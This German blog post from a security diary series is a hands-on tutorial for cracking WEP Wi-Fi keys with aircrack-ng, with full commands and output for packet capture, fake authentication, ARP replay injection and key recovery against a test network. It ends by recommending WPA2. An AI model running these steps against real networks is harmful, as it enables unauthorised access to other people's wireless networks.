ITS Tagebuch – Tag 3 – WEP knacken mit aircrack-ng

Liebes Tagebuch… Wenn ich so aus meinem Fenster sehe, erfreue ich mich an dem Anblick des
wunderbar blühenden Kirschbaums meines Nachbars. Wir haben April, dementsprechend gibt es
sehr häufig Regenschauer. Und das nervt total, mein Nachbar hat ein Carport mit Alu-Dach, wisst
ihr wie laut das ist? Schnell das Fenster zu und ab an den PC: heute knacken wir WLANs,
mit aircrack-ng!

Voraussetzungen: BackTrack5, WLAN-Karte, Router/AccessPoint (AP) mit 802.11g Standard (WEP)
Ziel: Unbefugtes Eindringen in das Netzwerk
Lesematerial: Wired Equivalent Privacy auf Wikipedia.org
Theorie (Ich setze voraus, dass man sich den Wiki-Artikel einmal durchliest):
Warum sind WLANs eigentlich so „gefährlich“?
Bei einer physischen Verbindung durch Kabel kann einfach reguliert werden, wer Zugriff zum
Netzwerk bekommt, und wer nicht: Einfach durch das Ein- oder Ausstecken des LAN-Kabels.
Bei WLAN besteht das Problem, dass das Netzwerksignal ein Broadcast ist: Jeder in Reichweite kann
das Netzwerk empfangen. Daher ist es generell schon mal wichtig, die gesendeten Daten zu
verschlüsseln, sonst könnte jeder in Reichweite alle Daten die gesandt/empfangen werden, mitlesen.
Zusätzlich zur Übertragungsverschlüsselung, kommt noch die Authentifizierung hinzu:
Stationen (Clients) müssen sich gegenüber dem AP als Mitglied des Netzwerkes identifizieren, um
mit Datenpaketen interagieren zu dürfen.
Dank Wikipedia wissen wir, dass wir zum Knacken des WEP Schutzes eigentlich nur eins brauchen:
InitialisierungsVektoren (IV)
Durch die IVs ist es möglich, auf den WEP-Key (Passphrase, Key, Netzwerkschlüssel…) zurück
zu schließen, da schwache Sicherungsmechanismen benutzt wurden, um die Datenpakete zu
verschlüsseln. Wie wir sehen, werden die IVs mit jedem Datenpaket verschickt. Und da WLAN ein
Broadcast ist, können wir einfach jedes Paket empfangen und die IVs dann auswerten. Genau das
ist unsere Aufgabe.

Durchführung:
Zunächst müssen wir ein WLAN-Interface in den MonitorMode versetzen, damit es alle Datenpakete
für uns aufsammelt. Diesen Job übernimmt airmon-ng für uns:

root@bt:~# airmon-ng start wlan0
Interface Chipset Driver

wlan0 Atheros AR9285 ath9k - [phy0]
(monitor mode enabled on mon0)


Es wird ein virtueller Netzwerkadapter mon0 geschaffen, über den die Aktionen ausgeführt werden.
Um ein bisschen Spannung zu bringen, gehe ich davon aus, dass man eventuelle Netzwerke noch
nicht kennt, also müssen wir erst gucken, welche Netze potentiell als Opfer dienen könnten:

root@bt:~# airodump-ng mon0
CH 6 ][ Elapsed: 1 min ][ 2012-04-21 15:55

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

AA:AA:AA:AA:AA:AA -64 431 17 0 1 54e. WEP WEP TacticalCode
DD:DD:DD:DD:DD:DD -1 0 0 0 0 54 WPA OtherNetworkDummy

BSSID STATION PWR Rate Lost Frames Probe

Hier sehen wir unser Testnetzwerk mit der ESSID TacticalCode, symbolisch legen wir die MAC auf
AA:AA:AA:AA:AA:AA fest. Es funkt auf Kanal 1, hat eine WEP Verschlüsselung, das ist unser Ziel.
Wir stoppen airodump-ng (strg+c) und starten es so, dass nur Pakete von diesem Netzwerk
aufgezeichnet werden und dies in eine Datei geschrieben wird:

root@bt:~# airodump-ng -w dump --ivs --bssid "AA:AA:AA:AA:AA:AA" --channel 1 mon0
CH 1 ][ Elapsed: 4 mins ][ 2012-04-21 16:08

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

AA:AA:AA:AA:AA:AA -17 100 2708 5241 0 1 54e. WEP WEP OPN TacticalCode

BSSID STATION PWR Rate Lost Frames Probe

AA:AA:AA:AA:AA:AA BB:BB:BB:BB:BB:BB -22 54e-54 0 5676

root@bt:~#

Wir wissen: viele IVs = viele Datenpakete = hohe Chance, den WLAN Schlüssel zu knacken. Wir
brauchen also Daten. Man könnte sich darauf verlassen, dass mit dem Netz verbundene Stationen
Traffic verursachen, jedoch kann dies sehr lange dauern. Bricht man zu früh ab, kann aircrack-ng
den Schlüssel nicht knacken:

root@bt:~# aircrack-ng -b "AA:AA:AA:AA:AA:AA" -l log.txt dump*.cap
Opening dump-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 5243 ivs.
Aircrack-ng 1.1 r2076

[00:00:00] Tested 16086 keys (got 5243 IVs)

KB depth byte(vote)
0 59/ 60 CE(6144) 01(5888) 0D(5888) 11(5888) 14(5888) 17(5888) 18(5888) 1A(5888) 1F(5888) 20(5888) 27(5888)
1 60/ 1 FF(6144) 2C(5888) 2E(5888) 32(5888) 42(5888) 5C(5888) 5E(5888) 6C(5888) 9D(5888) A5(5888) B2(5888)
2 4/ 24 F1(7936) 1E(7680) B6(7680) CC(7680) CE(7680) D9(7680) 07(7424) 3C(7424) B1(7424) BD(7424) 66(7168)
3 16/ 3 A5(7168) 00(6912) 06(6912) 20(6912) 32(6912) 61(6912) 91(6912) C5(6912) DF(6912) F3(6912) 05(6656)
4 11/ 47 D3(7424) 32(7168) 36(7168) 44(7168) 48(7168) 50(7168) 5B(7168) 92(7168) BC(7168) E3(7168) 3B(6912)

Failed. Next try with 10000 IVs.

Man kann auf zweierlei Wege fortfahren: Entweder nimmt man den Dumpprozess wieder auf und
wartet:

root@bt:~# airodump-ng -r dump-01.cap -w dump --ivs --bssid "AA:AA:AA:AA:AA:AA" --channel 1 mon0
CH 1 ][ Elapsed: ZehnTausend min ][ 2012-04-21 16:22 ][ Finished reading input file dump-01.cap.

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

AA:AA:AA:AA:AA:AA -17 100 674 10571 1 1 54e. WEP WEP OPN TacticalCode

BSSID STATION PWR Rate Lost Frames Probe

AA:AA:AA:AA:AA:AA BB:BB:BB:BB:BB:BB -22 54e-54 0 11230

root@bt:~# aircrack-ng -b "AA:AA:AA:AA:AA:AA" -l log.txt dump*.cap
Opening dump-02.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 15483 ivs.

Aircrack-ng 1.1 r2076

[00:00:00] Tested 612 keys (got 15483 IVs)

KB depth byte(vote)
0 6/ 11 12(19968) 63(19968) C1(19968) 1D(19712) BC(19712) 8E(19456) A5(19456) 5D(18944) EC(18688) 01(18432) 53(18432)
1 0/ 2 34(24064) AB(22272) E6(22016) 28(21760) 58(20736) 98(19712) E9(19712) 73(19200) A4(19200) 18(18944) DE(18944)
2 3/ 6 5D(20480) 42(19712) 9C(19712) 9F(19200) 0D(18944) 3A(18944) 64(18944) 53(18688) AB(18688) E2(18688) EB(18688)
3 0/ 1 78(24064) 93(21504) F3(20736) F9(20736) 8F(19712) D4(19712) 41(19456) 52(19456) A9(19200) DF(19200) F5(19200)
4 0/ 5 90(22016) 2E(21504) 33(21504) FF(20736) 0C(20736) 5E(19968) 25(19456) BE(19456) C7(19456) 64(19200) 7B(18944)

KEY FOUND! [ 12:34:56:78:90 ]
Decrypted correctly: 100%

root@bt:~#

Oder: Wenn der Schlüssel lang bzw. komplex ist, brauchen wir sehr viele IVs, um ihn zu knacken.
Wir nehmen nun einen komplexeren Schlüssel und sorgen selbst für Verkehr. Wie?
Die Technik wird Injection genannt. Dabei greifen wir uns bestimmte Pakete (ARP Pakete, dieses
Protokoll wird später noch wichtig!) ab und senden diese zum AccessPoint. Obwohl wir nicht
Authentifiziert sind, sendet der AP eine Antwort. Was dort drin steht, interessiert uns zum Glück
nicht (die Pakete werden verschlüsselt gesandt), wir wollen nur die IVs, die in jedem Paket
enthalten sind. Dazu nutzen wir das Tool aireplay-ng. Zuerst wird wieder airodump-ng gestartet,
um die IVs aufzuzeichnen.

airodump-ng -w activeattack --ivs --bssid "AA:AA:AA:AA:AA:AA" --channel 1 mon0

Zuerst prüfen wir, ob eine Injection überhaupt möglich ist. Gelingt dies, senden wir eine fake-
authentifikation: Dadurch wird nur erreicht, dass der AP hoffentlich auf Pakete, die wir zu ihm senden,
hört. Wir authentifizieren uns nicht richtig, und wenn wir Pech haben, nimmt der AP den fake-auth
nicht an und wir können nicht Injizieren. Daher testen wir erst, ob injection möglich ist,
führen die falsche Authentifizierung aus und generieren dann unsere Daten.

#Injection-test
root@bt:~# aireplay-ng -9 -e TacticalCode -a AA:AA:AA:AA:AA:AA mon0
17:05:09  Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 1
17:05:09  Trying broadcast probe requests...
17:05:09  Injection is working!
17:05:10  Found 1 AP 
17:05:10  Trying directed probe requests...
17:05:10  AA:AA:AA:AA:AA:AA - channel: 1 - 'TacticalCode'
17:05:11  Ping (min/avg/max): 1.678ms/8.908ms/48.966ms Power: -19.90
17:05:11  30/30: 100%

#fake-auth, CC:CC:CC:CC:CC:CC ist unsere eigene MAC Adresse, siehe ifconfig!
root@bt:~# aireplay-ng -1 0 -e TacticalCode -a AA:AA:AA:AA:AA:AA -h CC:CC:CC:CC:CC:CC mon0
17:05:19 Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 1
17:05:19 Sending Authentication Request (Open System) [ACK]
17:05:19 Authentication successful
17:05:19 Sending Association Request [ACK]
17:05:19 Association successful :-) (AID: 1)

# Injection
root@bt:~# aireplay-ng -3 -b CC:CC:CC:CC:CC:CC -h CC:CC:CC:CC:CC:CC mon0
17:05:25 Waiting for beacon frame (BSSID: AA:AA:AA:AA:AA:AA) on channel 1
Saving ARP requests in replay_arp-0421-170525.cap
You should also start airodump-ng to capture replies.
Read 2 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...
Read 9 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...
Read 11 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...
Read 21 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...
[...]

airodump-ng zeichnet parallel
die Datenpakete auf. Verwendet man den Text-Modus, kann man eine weitere shell mit
STRG+ALT+F(1-6) erreichen, um die Befehle gleichzeitig auszuführen.
Haben wir nun genügend Daten gesammelt, werden sie wieder an aircrack-ng übergeben, welches
versucht, den Schlüssel zu rekonstruieren. Wie im ersten Post dieser Reihe gesagt: Ich wer Details
darüber wissen will, wie genau der Key rekonstruiert wird, der muss selbst suchen. Im Aircrack-wiki
und sonst über google gibt es genügend Quellen.

root@bt:~# aircrack-ng -e TacticalCode -l long.txt activeattack
Opening activeattack-01.ivs
Read 51015 packets.
Opening activeattack-01.ivs
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 52379 ivs.

Aircrack-ng 1.1 r2076

[00:00:01] Tested 1292 keys (got 51642 IVs)

KB depth byte(vote)
0 0/ 1 12(71680) AD(61440) 57(60672) 99(59904) 58(59392) BB(59392) 60(59136) 17(58880) 04(58368) 11(58368) 3E(58368)
1 0/ 1 34(69120) 8E(64000) 03(61696) 04(61184) 09(60928) D8(60928) 00(60672) 20(60672) D7(59904) 45(59648) 50(59136)
2 0/ 2 56(65792) 68(62208) 5F(60160) 96(59648) 17(59392) 22(59136) 23(58880) 8C(58880) B0(58880) 14(58368) 4A(58368)
3 0/ 4 78(64512) 84(62464) DF(61952) 78(61440) FD(60416) 3B(59904) A9(59648) CC(59648) 68(59392) 2A(59136) C0(59136)
4 0/ 1 90(73472) A3(62464) 04(59392) 94(59392) 95(59392) E9(59136) 69(58880) 9E(58880) F5(58880) 61(58624) 40(58112)
5 0/ 1 12(64000) 27(60160) BA(59392) C9(59392) D5(59392) 18(59136) 41(59136) B3(59136) 45(58880) 98(58880) C3(58880)
6 2/ 5 06(61696) 42(60672) EA(60672) 4C(60416) 0D(59648) F4(59648) 49(59136) E3(59136) 67(58880) FA(58880) CF(58368)
7 0/ 1 56(70144) 85(62720) F9(61184) 04(60928) 4B(60928) 63(60672) 9D(59904) 46(59648) 2A(59392) AE(59392) 1E(59136)
8 0/ 1 78(75264) 65(60416) BA(60160) 48(59904) AE(59648) EF(59648) 14(59136) 9E(59136) 1C(58880) FC(58880) 51(58624)
9 0/ 1 90(68352) BF(61440) FF(60672) 24(59904) 20(59648) A5(59392) C2(59392) E6(59392) 2B(59136) 12(58880) 05(58624)
10 2/ 8 12(61440) 8C(61440) AE(61440) 06(60416) DF(59648) B4(59648) D0(59392) 1C(59136) 34(58880) 97(58624) AF(58624)
11 0/ 1 34(68608) 2F(61952) D2(61440) F0(61440) B0(60416) 4E(59904) C1(59648) D7(59648) 9C(59392) 8B(59136) 94(58880)
12 0/ 5 56(63488) 3C(62976) 25(60672) 30(60416) CF(60160) EF(59648) 22(59392) 28(59392) 49(59392) F7(59392) B8(58624)

KEY FOUND! [ 12:34:56:78:90:12:34:56:78:90:12:34:56 ]
Decrypted correctly: 100%

Geschafft: Wir haben unseren „komplexen“ Key 12345678901234567890123456 !
(Man beachte: die 50.000 Pakete habe ich innerhalb von 1 Minute aufgenommen, das cracken
dauerte gerade einmal 1 Sekunde, auf einem Intel Atom N270!)

Problemlösung:
Wir haben gesehen, dass auch komplexere Keys schnell geknackt werden können. Von WEP ist
generell abzuraten. Die Technik ist dermaßen unsicher. Abhilfe schafft der Umstieg auf WPA2 und,
wie wir noch sehen werden, ein langes, komplexes Passwort.
Mittlerweile beherrschen eigentlich alle Geräte WPA2-PSK, UBS-Dongles und AccessPoints gibt es
schon relativ günstig. Diese geringen Kosten würde ich auf jeden Fall in hinnehmen, da der Gewinn
an Sicherheit sehr wichtig ist.

Wir wissen nun, wie man mit aircrack-ng ein WEP Passwort rekonstruieren kann. Als Abhilfe habe ich
WPA(2) genannt. Dass diese Technik auch geknackt werden kann, werde ich im nächsten Eintrag
zeigen. Natürlich auch, wie man sich davor schützen kann.

Bei Fragen, Anregungen Ideen etc. bitte einen Kommentar hinterlassen.
MfG
NoMad

PS: Ja, Ich weiß dass noch keine 24h zwischen dem letzten Eintrag und diesem hier liegen,
trotzdem ist dies „Tag 3“!
Und eine kleine Info: Hyperlinks im Blog eine günstigere Farbe, jetzt erkennt man sie auch!

Dieser Eintrag wurde veröffentlicht in ITS Tagebuch, Security
Bookmarken: Permanent-Link Schreibe einen Kommentar oder hinterlasse einen Trackback: Trackback-URL.

2 Kommentare

  1. themanneken
    Erstellt am 16. August 2014 um 21:30 | Permalink zum Kommentar

    Hallo!
    Schöne Anleitung, nur vermisse ich irgendwie den Bezug zu den zu lesenden Dateien. Wenn ich Schritt für Schritt nach Anleitung vorgehe, erhält man einen Fehler, da nirgendwo die Datei dump-01.txt existiert. Und dann tauscht irgendwo noch eine log.txt auf. Wo sollen diese entstanden sein?
    MfG
    themanneken

    • Erstellt am 21. August 2014 um 17:56 | Permalink zum Kommentar

      Hey themanneken,
      Eine dump-01.[b]txt[/b] wurde nicht erstellt, hast du den Befehlt vielleicht falsch übertragen? Bei welchem Befehl genau tritt der Fehler denn auf? Ich tippe mal auf „airodump-ng -r dump-01.cap -w dump –ivs –bssid[…]“ – also wenn das Daten-dumping wieder aufgenommen werden soll. Als quelle steht hier dump-01.cap. Durch das Flag -w dump schreibt das Tool die aufgezeichneten Daten in die entsprechende Datei (dump-01.cap, falls diese Datei schon existiert dump-02.cap usw…)

      log.txt (gerade gesehen: einmal versehentlich long.txt) ist die Ausgabe vom aircrack-ng Tool.
      MfG
      Damon

Achtung: Wordpress interpretiert bestimmte Zeichenfolgen als Markup und verändert diese. Nutzt für Programmcode lieber Gist oder PasteBin-Services und verlinkt die Code-Schnipsel.

Post a Comment

Ihre E-Mail wird niemals veröffentlicht oder verteilt. Benötigte Felder sind mit * markiert

*
*

Du kannst diese HTML Tags und Attribute verwenden: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>